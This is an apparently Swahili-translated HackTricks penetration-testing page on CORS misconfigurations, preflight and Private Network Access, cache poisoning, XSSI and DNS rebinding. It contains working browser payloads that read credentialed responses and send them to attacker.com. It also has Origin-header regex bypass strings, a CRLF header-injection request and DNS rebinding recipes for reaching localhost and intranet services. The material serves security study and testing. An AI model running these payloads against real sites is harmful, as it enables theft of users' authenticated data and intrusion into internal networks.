CORS - Misconfigurations & Bypass

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

CORS ni nini?

Cross-Origin Resource Sharing (CORS) standard huwezesha servers kufafanua ni nani anayeweza kufikia assets zao na ni njia zipi za HTTP request zinazoruhusiwa kutoka vyanzo vya nje.

Sera ya same-origin inadai kwamba server inayotuma request kwa resource na server inayohost resource washiriki protocol moja (kwa mfano, http://), domain name moja (kwa mfano, internal-web.com), na port moja (kwa mfano, 80). Chini ya sera hii, ni kurasa za wavuti kutoka domain na port moja tu ndizo zinazoruhusiwa kufikia resources.

Utumiaji wa same-origin policy katika muktadha wa http://normal-website.com/example/example.html unaonyeshwa kama ifuatavyo:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer hupuuzia namba ya port wakati wa kutekeleza same-origin policy, hivyo kuruhusu access hii.

Access-Control-Allow-Origin Header

Header hii inaweza kuruhusu multiple origins, thamani ya null, au wildcard *. Hata hivyo, hakuna browser inayounga mkono multiple origins, na matumizi ya wildcard * yana vikwazo. (Wildcard lazima itumike pekee yake, na matumizi yake pamoja na Access-Control-Allow-Credentials: true hayaruhusiwi.)

Header hii hutolewa na server kama response kwa cross-domain resource request iliyoanzishwa na website, huku browser ikiweka kiotomatiki Origin header.

Access-Control-Allow-Credentials Header

Kwa default, cross-origin requests hufanywa bila credentials kama cookies au Authorization header. Hata hivyo, cross-domain server inaweza kuruhusu kusomwa kwa response wakati credentials zinapotumwa kwa kuweka Access-Control-Allow-Credentials header kuwa true.

Ikipangwa kuwa true, browser itatuma credentials (cookies, authorization headers, au TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Kuelewa Pre-flight Requests katika mawasiliano ya Cross-Domain

Unapoanzisha ombi la cross-domain chini ya masharti fulani, kama vile kutumia non-standard HTTP method (chochote isipokuwa HEAD, GET, POST), kuanzisha headers mpya, au kutumia thamani maalum ya Content-Type header, pre-flight request inaweza kuhitajika. Ombi hili la awali, likitumia njia ya OPTIONS, hutumika kumjulisha server kuhusu nia za ombi la baadaye la cross-origin, ikijumuisha HTTP methods na headers inazokusudia kutumia.

Itifaki ya Cross-Origin Resource Sharing (CORS) inaweka sharti la ukaguzi huu wa pre-flight ili kubaini uwezekano wa operesheni ya cross-origin iliyoombwa kwa kuthibitisha allowed methods, headers, na uaminifu wa origin. Kwa ufahamu wa kina wa hali zinazopunguza hitaji la pre-flight request, rejea mwongozo wa kina unaotolewa na Mozilla Developer Network (MDN).

Ni muhimu kutambua kwamba kutokuwepo kwa pre-flight request hakumfuti hitaji la response kubeba authorization headers. Bila headers hizi, browser hushindwa kuchakata response kutoka kwa ombi la cross-origin.

Fikiria mchoro ufuatao wa pre-flight request unaolenga kutumia njia ya PUT pamoja na custom header inayoitwa Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Kama jibu, server inaweza kurudisha headers zinazoonyesha methods zinazokubaliwa, origin inayoruhusiwa, na maelezo mengine ya CORS policy, kama inavyoonyeshwa hapa chini:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Kichwa hiki kinaeleza ni headers gani zinaweza kutumika wakati wa request halisi. Kinawekwa na server ili kuonyesha headers zinazoruhusiwa katika requests kutoka kwa client.
  • Access-Control-Expose-Headers: Kupitia kichwa hiki, server humjulisha client kuhusu headers gani zinaweza kufichuliwa kama sehemu ya response pamoja na simple response headers.
  • Access-Control-Max-Age: Kichwa hiki kinaonyesha kwa muda gani matokeo ya pre-flight request yanaweza kuwekwa kwenye cache. Server huweka muda wa juu zaidi, kwa sekunde, ambao taarifa iliyorejeshwa na pre-flight request inaweza kutumika tena.
  • Access-Control-Request-Headers: Hutumika katika pre-flight requests, kichwa hiki huwekwa na client ili kumjulisha server kuhusu HTTP headers zipi client anataka kutumia katika request halisi.
  • Access-Control-Request-Method: Kichwa hiki, pia kinachotumika katika pre-flight requests, huwekwa na client ili kuonyesha ni HTTP method gani itatumika katika request halisi.
  • Origin: Kichwa hiki huwekwa kiotomatiki na browser na kinaonyesha origin ya cross-origin request. Hutumiwa na server ili kutathmini kama request inayoingia inapaswa kuruhusiwa au kukataliwa kulingana na CORS policy.

Kumbuka kwamba kwa kawaida (kulingana na content-type na headers zilizowekwa) katika GET/POST request no pre-flight request is sent (request hutumwa moja kwa moja), lakini ukitaka kufikia headers/body of the response, lazima iwe na Access-Control-Allow-Origin header inayoruhusu hiyo.
Kwa hiyo, CORS hailindi dhidi ya CSRF (lakini inaweza kuwa ya msaada).

Local Network Requests Pre-flight request

Modern browsers na draft ya sasa ya Private Network Access (PNA) hutumia headers Access-Control-Request-Private-Network: true katika preflight na Access-Control-Allow-Private-Network: true katika response. Articles za zamani na PoCs bado zinaweza kurejelea majina ya headers ya Local-Network, lakini kwa testing ya sasa unapaswa kutarajia variantes za Private-Network.

A valid response allowing the local network request needs to also include Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

Na ombi la preflight litaonekana kama:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome’s PNA rollout changed several times during 2024. As of October 9, 2024, Chrome documented that PNA preflights were on hold because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the spec-compliant preflight flow and the older “works in practice because enforcement is incomplete” behavior.

Warning

Note that the linux 0.0.0.0 IP works to bypass these requirements to access localhost as that IP address is not considered “local”.

Chrome also documented that 0.0.0.0/8 is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.

It’s also possible to bypass the Local Network requirements if you use the public IP address of a local endpoint (like the public IP of the router). Because in several occasions, even if the public IP is being accessed, if it’s from the local network, access will be granted.

Wildcards

Note that even if the following configuration might look super permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Hii hairuhusiwi na browsers na kwa hiyo credentials hazitatumwa pamoja na request inayoruhusiwa na hili.

Exploitable misconfigurations

Imebainika kwamba kuweka Access-Control-Allow-Credentials kuwa true ni sharti la awali kwa mashambulizi mengi ya real attacks. Mpangilio huu unaruhusu browser kutuma credentials na kusoma response, hivyo kuongeza ufanisi wa shambulizi. Bila hili, faida ya kuifanya browser itume request badala ya kuifanya wewe mwenyewe hupungua, kwa sababu kutumia cookies za user kunakuwa haiwezekani.

Exception: Exploiting Network Location as Authentication

Kuna exception ambapo network location ya victim hutumika kama aina ya authentication. Hii inaruhusu browser ya victim kutumika kama proxy, ikipita IP-based authentication ili kufikia intranet applications. Njia hii inafanana kwa athari na DNS rebinding lakini ni rahisi zaidi kuiexploit.

Reflection of Origin in Access-Control-Allow-Origin

Scenario ya kweli ambapo thamani ya Origin header inaakisiwa ndani ya Access-Control-Allow-Origin kimsingi ni ngumu kutokea kutokana na vizuizi vya kuchanganya headers hizi. Hata hivyo, developers wanaotaka kuwezesha CORS kwa URLs nyingi wanaweza kuzalisha kwa dynamically Access-Control-Allow-Origin header kwa kunakili thamani ya Origin header. Njia hii inaweza kuleta vulnerabilities, hasa wakati attacker anatumia domain yenye jina lililoundwa kuonekana halali, hivyo kudanganya validation logic.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Kunyanyua null Origin

null origin, iliyoainishwa kwa hali kama redirects au local HTML files, ina nafasi ya kipekee. Baadhi ya applications huweka kwenye whitelist origin hii ili kuwezesha local development, bila kukusudia kuruhusu website yoyote kuiga null origin kupitia sandboxed iframe, hivyo kupita CORS restrictions.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Mbinu za Kuepuka Regular Expression

Unapokutana na domain whitelist, ni muhimu kujaribu bypass opportunities, kama vile kuambatanisha domain ya mshambuliaji kwenye domain iliyoko kwenye whitelist au kutumia vulnerabilities za subdomain takeover. Zaidi ya hayo, regular expressions zinazotumiwa kwa uthibitishaji wa domain zinaweza kupuuza nuances katika kanuni za naming za domain, na hivyo kuleta bypass opportunities zaidi.

Advanced Regular Expression Bypasses

Regex patterns kwa kawaida huzingatia herufi za alphanumeric, dot (.) na hyphen (-), na kupuuza uwezekano mwingine. Kwa mfano, domain name iliyoundwa ili kujumuisha herufi zinazotafsiriwa tofauti na browsers na regex patterns inaweza kupita security checks. Namna Safari, Chrome, na Firefox zinavyoshughulikia underscore characters katika subdomains inaonyesha jinsi tofauti kama hizi zinavyoweza kutumiwa ku-bypass domain validation logic.

Kwa taarifa zaidi na settings za bypass check hii: https://www.corben.io/advanced-cors-techniques/ na https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Kutoka XSS ndani ya subdomain

Wasanidi mara nyingi hutekeleza defensive mechanisms ili kujilinda dhidi ya CORS exploitation kwa kuweka kwenye whitelist domains ambazo zinaruhusiwa ku-request taarifa. Licha ya tahadhari hizi, usalama wa mfumo si foolproof. Uwepo wa hata subdomain moja tu yenye vulnerability ndani ya domains zilizoko kwenye whitelist unaweza kufungua mlango wa CORS exploitation kupitia vulnerabilities nyingine, kama vile XSS (Cross-Site Scripting).

Ili kueleza, fikiria hali ambapo domain, requester.com, iko kwenye whitelist ili kupata resources kutoka domain nyingine, provider.com. Configuration ya upande wa server inaweza kuonekana kama hii:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Katika mpangilio huu, subdomains zote za requester.com zinaruhusiwa kupata access. Hata hivyo, ikiwa subdomain, kwa mfano sub.requester.com, imecompromise kwa vulnerability ya XSS, attacker anaweza kutumia udhaifu huu. Kwa mfano, attacker aliye na access ya sub.requester.com anaweza kutumia vulnerability ya XSS ili bypass CORS policies na kwa nia mbaya kupata access ya resources kwenye provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet iligundua kwamba baadhi ya browsers zinaunga mkono characters zisizo za kawaida ndani ya domain names.

Chrome na Firefox zinaunga mkono underscores _ ambazo zinaweza bypass regexes zilizotekelezwa kuthibitisha Origin header:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari ni hata zaidi lax kukubali special characters kwenye domain name:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Masasisho ya hivi karibuni kwenye cheat sheet ya PortSwigger yameongeza payloads zaidi za Safari-oriented domain splitting ambazo zinafaa kufuzz wakati lengo linathibitisha kichwa cha Origin kwa kutumia regexes au home-grown URL parsers:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Hizi ni muhimu wakati backend inakagua tu kama origin iliyotolewa inaanza na au ina contiene hostname inayoaminika, huku browser bado ikichukulia suffix inayodhibitiwa na mshambulizi kama effective origin boundary.

Pia kumbuka kuwa modern origin fuzzing haipaswi kuishia kwenye hostname suffixes. Current PortSwigger cheat sheet inajumuisha payload families za:

  • Domain allow-list bypasses: domains zinazodhibitiwa na mshambulizi ambazo bado zinakidhi naive prefix/suffix/substring checks.
  • Fake-relative absolute URLs: browser-valid absolute URLs ambazo application code inaweza kuzichambua kama relative.
  • Loopback/IP normalizations: alternative IPv4/IPv6 forms zinazofaa wakati CORS logic inajaribu kuzuia localhost, 127.0.0.1, au cloud metadata endpoints kwa string comparison.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Inawezekana kwamba kwa kutumia server-side cache poisoning kupitia HTTP header injection, stored Cross-Site Scripting (XSS) vulnerability inaweza kusababishwa. Hali hii hutokea wakati application inashindwa kusafisha Origin header kwa characters zisizo halali, na hivyo kuunda vulnerability hasa kwa watumiaji wa Internet Explorer na Edge. Browser hizi huchukulia (0x0d) kama legitimate HTTP header terminator, na kusababisha HTTP header injection vulnerabilities.

Fikiria request ifuatayo ambapo Origin header imebadilishwa:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer na Edge hutafsiri response kama:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Wakati kutumia moja kwa moja udhaifu huu kwa kufanya web browser itume malformed header si jambo linalowezekana, request iliyoundwa mahsusi inaweza kutengenezwa kwa mikono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha server-side cache kuhifadhi response na kwa bahati mbaya kuitumikia kwa wengine. Payload iliyoundwa inalenga kubadilisha character set ya page kuwa UTF-7, character encoding ambayo mara nyingi huhusishwa na XSS vulnerabilities kutokana na uwezo wake wa kuencode characters kwa njia inayoweza kutekelezwa kama script katika baadhi ya contexts.

Kwa usomaji zaidi kuhusu stored XSS vulnerabilities, tazama PortSwigger.

Note: Utekelezaji wa HTTP header injection vulnerabilities, hasa kupitia server-side cache poisoning, unaonyesha umuhimu mkubwa wa kuthibitisha na kusafisha input zote zinazotolewa na user, ikiwemo HTTP headers. Daima tumia security model thabiti inayojumuisha input validation ili kuzuia vulnerabilities kama hizi.

Client-Side cache poisoning

Kutoka kwenye research hii

Katika scenario hii, instance ya web page inayoreflect contents za custom HTTP header bila proper encoding inazingatiwa. Hususan, web page ina-reflect contents zilizo ndani ya X-User-id header, ambazo zinaweza kujumuisha malicious JavaScript, kama inavyoonyeshwa na mfano ambapo header ina SVG image tag iliyoundwa ili execute JavaScript code wakati wa load.

Cross-Origin Resource Sharing (CORS) policies huruhusu kutuma custom headers. Hata hivyo, bila response ku-renderiwa moja kwa moja na browser kutokana na CORS restrictions, matumizi ya injection kama hiyo yanaweza kuonekana kuwa na kikomo. Jambo muhimu hutokea wakati wa kuzingatia browser cache behavior. Ikiwa Vary: Origin header haijabainishwa, inawezekana kwa malicious response kuhifadhiwa kwenye browser cache. Baadaye, cached response hii inaweza ku-renderiwa moja kwa moja unapopita kwenda URL, ikipita hitaji la direct rendering wakati wa initial request. Mechanism hii huongeza uaminifu wa attack kwa kutumia client-side caching.

Ili kuonyesha attack hii, mfano wa JavaScript unatolewa, ulioundwa ili kutekelezwa katika environment ya web page, kama kupitia JSFiddle. Script hii hufanya kitendo rahisi: hutuma request kwenda URL iliyobainishwa ikiwa na custom header inayobeba malicious JavaScript. Baada ya request kukamilika kwa mafanikio, hujaribu kwenda kwenye target URL, na huenda ikasababisha execution ya injected script ikiwa response imehifadhiwa kwenye cache bila kushughulikia ipasavyo Vary: Origin header.

Huu hapa muhtasari wa JavaScript iliyotumika kutekeleza attack hii:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, pia inajulikana kama Cross-Site Script Inclusion, ni aina ya vulnerability inayotumia ukweli kwamba Same Origin Policy (SOP) haitumiki wakati wa kujumuisha rasilimali kwa kutumia tag ya script. Hii ni kwa sababu scripts zinahitaji kuweza kujumuishwa kutoka domains tofauti. Vulnerability hii humruhusu mshambuliaji kufikia na kusoma maudhui yoyote yaliyokuwa yamejumuishwa kwa kutumia tag ya script.

Vulnerability hii inakuwa muhimu hasa inapohusu JavaScript ya dynamic au JSONP (JSON with Padding), hasa wakati taarifa za ambient-authority kama cookies zinapotumika kwa authentication. Unapoomba rasilimali kutoka host tofauti, cookies hujumuishwa, na hivyo kumfanya mshambuliaji aweze kuzifikia.

Ili kuelewa vizuri zaidi na kupunguza athari za vulnerability hii, unaweza kutumia BurpSuite plugin inayopatikana kwenye https://github.com/kapytein/jsonp. Plugin hii inaweza kusaidia kutambua na kushughulikia uwezekano wa XSSI vulnerabilities katika web applications zako.

Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.

Jaribu kuongeza callback parameter kwenye request. Huenda page ilikuwa imeandaliwa kutuma data kama JSONP. Katika hali hiyo page itarudisha data ikiwa na Content-Type: application/javascript ambayo itapita CORS policy.

Easy (useless?) bypass

Njia moja ya kupita kizuizi cha Access-Control-Allow-Origin ni kwa kuomba web application ifanye request kwa niaba yako na irudishe response. Hata hivyo, katika hali hii, credentials za mwathiriwa wa mwisho hazitatumwa kwa sababu request inafanywa kwenda domain tofauti.

  1. CORS-escape: Tool hii hutoa proxy inayosafirisha request yako pamoja na headers zake, huku ikispoof pia Origin header ili ilingane na domain iliyoombwa. Hii kwa ufanisi hupita CORS policy. Hapa kuna mfano wa matumizi na XMLHttpRequest:
  2. simple-cors-escape: Tool hii inatoa mbinu mbadala ya kuproxy requests. Badala ya kupitisha request yako kama ilivyo, server hufanya request yake yenyewe kwa parameters zilizotajwa.

Iframe + Popup Bypass

Unaweza kupita CORS checks kama e.origin === window.origin kwa kuunda iframe na kutoka humo kufungua window mpya. Maelezo zaidi katika page ifuatayo:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL ni technique inayotumika kupita baadhi ya security measures kwa kudhibiti DNS records. Hivi ndivyo inavyofanya kazi:

  1. Mshambuliaji huunda web page na kumfanya mwathiriwa aitafute.
  2. Kisha mshambuliaji hubadilisha DNS (IP) ya domain yake ili ielekeze kwenye web page ya mwathiriwa.
  3. Browser ya mwathiriwa huhifadhi DNS response kwenye cache, ambayo inaweza kuwa na thamani ya TTL (Time to Live) inayoonyesha muda ambao DNS record inapaswa kuhesabiwa kuwa halali.
  4. TTL inapokwisha, browser ya mwathiriwa hufanya DNS request mpya, ikimruhusu mshambuliaji kutekeleza JavaScript code kwenye page ya mwathiriwa.
  5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathiriwa bila kutuma cookies yoyote kwenda server ya mwathiriwa.

Ni muhimu kutambua kwamba browsers zina mechanisms za caching ambazo zinaweza kuzuia matumizi ya haraka ya technique hii, hata ukiwa na thamani za TTL ndogo.

DNS rebinding inaweza kuwa ya manufaa kwa kupita explicit IP checks zinazofanywa na mwathiriwa au kwa hali ambapo user au bot hubaki kwenye page moja kwa muda mrefu, na hivyo kuruhusu cache kuisha muda wake.

Ukihitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia services kama https://lock.cmpxchg8b.com/rebinder.html.

Ili kuendesha DNS rebinding server yako mwenyewe, unaweza kutumia tools kama DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Hii inahusisha kufungua local port 53/udp yako, kuunda A record inayoelekeza kwake (mfano, ns.example.com), na kuunda NS record inayoelekeza kwenye subdomain ya A iliyoundwa awali (mfano, ns.example.com). Kila subdomain ya subdomain ya ns.example.com basi ita resolve na host yako.

Unaweza pia kuchunguza server inayoendeshwa hadharani kwenye http://rebind.it/singularity.html kwa uelewa zaidi na majaribio.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding ni technique nyingine inayotumika kupita caching mechanism za browsers na kulazimisha DNS request ya pili. Hivi ndivyo inavyofanya kazi:

  1. Mwanzoni, mwathiriwa anapofanya DNS request, hujibiwa kwa IP address ya mshambuliaji.
  2. Ili kupita ulinzi wa caching, mshambuliaji hutumia service worker. Service worker hujaa DNS cache, jambo linalofuta kwa ufanisi jina la server ya mshambuliaji lililohifadhiwa.
  3. Browser ya mwathiriwa inapofanya DNS request ya pili, sasa hujibiwa kwa IP address 127.0.0.1, ambayo kwa kawaida humaanisha localhost.

Kwa kujaza DNS cache kwa kutumia service worker, mshambuliaji anaweza kudhibiti mchakato wa DNS resolution na kulazimisha browser ya mwathiriwa kufanya request ya pili, wakati huu ikirekebishwa kwenda IP address inayotakiwa na mshambuliaji.

DNS Rebinding via Cache

Njia nyingine ya kupita ulinzi wa caching ni kwa kutumia multiple IP addresses kwa subdomain ile ile kwenye DNS provider. Hivi ndivyo inavyofanya kazi:

  1. Mshambuliaji huweka A records mbili (au A record moja yenye IP mbili) kwa subdomain ile ile kwenye DNS provider.
  2. Browser inapochunguza records hizi, hupata IP address zote mbili.
  3. Ikiwa browser itaamua kutumia IP address ya mshambuliaji kwanza, mshambuliaji anaweza kutoa payload inayofanya HTTP requests kwenda domain ile ile.
  4. Hata hivyo, mara mshambuliaji anapopata IP address ya mwathiriwa, huacha kujibu browser ya mwathiriwa.
  5. Browser ya mwathiriwa, ikigundua kwamba domain haijibu, huendelea kutumia IP address ya pili iliyotolewa.
  6. Kwa kufikia IP address ya pili, browser hupita Same Origin Policy (SOP), ikimruhusu mshambuliaji kutumia hili vibaya na kukusanya na kutoa taarifa nje.

Technique hii hutumia tabia ya browsers wakati IP address nyingi zinapotolewa kwa domain. Kwa kudhibiti kwa uangalifu responses na kusogeza uchaguzi wa browser wa IP address, mshambuliaji anaweza kutumia SOP vibaya na kufikia taarifa kutoka kwa mwathiriwa.

Warning

Note kwamba ili kufikia localhost unapaswa kujaribu kufanya rebind ya 127.0.0.1 kwenye Windows na 0.0.0.0 kwenye linux.
Providers kama godaddy au cloudflare hawakuniruhusu kutumia ip 0.0.0.0, lakini AWS route53 iliniruhusu kuunda A record moja yenye 2 IPs ambapo moja ilikuwa “0.0.0.0”

Kwa maelezo zaidi unaweza kuangalia https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

Unaweza kupata maelezo zaidi kuhusu techniques za bypass zilizotangulia na jinsi ya kutumia tool ifuatayo kwenye talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin ni tool ya kutekeleza DNS rebinding attacks. Inajumuisha components zinazohitajika ili kurebind IP address ya attack server DNS name kwenda IP address ya machine ya target na kuhudumia attack payloads ili kutumia software iliyo na vulnerability kwenye target machine.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with Content-Type: application/dns-message). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS.

Key observations

  • Chrome (Windows/macOS) and Firefox (Linux) successfully rebind when configured for Cloudflare, Google, or OpenDNS DoH resolvers. Transport encryption neither delays nor blocks the attack-flow for first-then-second, multiple-answers, or DNS cache flooding strategies.
  • Public resolvers still see every query, but they rarely enforce the host-to-IP mapping a browser must honor. Once the authoritative server returns the rebinding sequence, the browser keeps the original origin tuple while connecting to the new IP.

Singularity strategies and timing over DoH

  • First-then-second remains the most reliable option: the first lookup returns the attacker IP that serves the payload, every later lookup returns the internal/localhost IP. With typical browser DNS caches this flips traffic in ~40–60 seconds, even when the recursive resolver is only reachable over HTTPS.
  • Multiple answers (fast rebinding) still reaches localhost in <3 seconds by answering with two A records (attacker IP + 0.0.0.0 on Linux/macOS or 127.0.0.1 on Windows) and programmatically blackholing the first IP (for example, iptables -I OUTPUT -d <attacker_ip> -j DROP) shortly after the page loads. Firefox’s DoH implementation may emit repeated DNS queries, so the Singularity fix is to schedule the firewall rule relative to the first query timestamp instead of refreshing the timer on every query.

Beating “rebind protection” in DoH providers

  • Some providers (e.g., NextDNS) replace private/loopback answers with 0.0.0.0, but Linux and macOS happily route that destination to local services. Intentionally returning 0.0.0.0 as the second record therefore still pivots the origin to localhost.
  • Filtering only the direct A/AAAA response is ineffective: returning a CNAME to an internal-only hostname makes the public DoH resolver forward the alias while browsers such as Firefox fall back to the system DNS for the internal zone, completing the resolution to a private IP that is still treated as the attacker origin.

Browser-specific DoH behavior

  • Firefox DoH operates in fallback mode: any DoH failure (including an unresolved CNAME target) triggers a plaintext lookup via the OS resolver, which is typically an enterprise DNS server that knows the internal namespace. This behavior is what makes the CNAME bypass reliable inside corporate networks.
  • Chrome DoH only activates when the OS DNS points to a whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, etc.) and does not provide the same fallback chain. Internal hostnames that only exist on corporate DNS therefore fail to resolve, but rebinding toward localhost or any routable address still succeeds because the attacker controls the entire response set.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS and provide the DoH endpoint (Cloudflare and NextDNS are built in). Chrome/Chromium: enable chrome://flags/#dns-over-https and configure the OS DNS servers to one of Chrome’s supported resolvers (e.g., 1.1.1.1/1.0.0.1).
  • You can query public DoH APIs directly, e.g. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq to confirm the exact records browsers will cache.
  • Intercepting DoH in Burp/ZAP still works because it is just HTTPS (binary DNS payload in the body). For packet-level inspection, export TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) before launching the browser and let Wireshark decrypt the DoH sessions with the dns display filter to see when the browser stays on DoH or falls back to classic DNS.

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks